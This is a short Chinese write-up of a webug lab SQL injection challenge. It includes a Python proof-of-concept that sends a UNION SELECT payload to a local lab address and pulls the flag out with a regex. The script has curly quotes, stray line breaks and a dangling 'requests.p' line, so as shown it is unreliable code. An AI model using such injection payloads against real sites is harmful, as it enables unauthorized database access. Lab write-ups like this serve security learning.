webug靶場一道簡單的註入題

加點後報錯

could not to the database You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1‘‘‘ at line 1

大致可以猜出是雙引號的問題，閉合即可，接下來就是常規的註入過程，最後拿到flag

下面是代碼

#-*- coding:utf-8 -*-

import requests
import re

def
 
 poc():
    url="http://192.168.241.128/pentest/test/sqli/sqltamp.php"
    data={
        "gid":"-1‘ union select 1,flag,3,4 from flag #"
    }
    req=requests.get(url,data)
    red=requests.p
    html=req.content
    html=html.decode(‘utf-8‘)
    sear=r‘名稱為:(.+?)</font>‘
    flag=re.findall(sear,html)


    with open(
 
‘test1.txt‘,‘w‘) as f:
        f.write(str(flag))


if __name__ == ‘__main__‘:
    poc()

這裏我用正則匹配將flag匹配並寫入文件，一定要對返回的數據進行轉碼

否則匹配不到，還有%23要寫成#才能被python識別。

用python寫註入漏洞的poc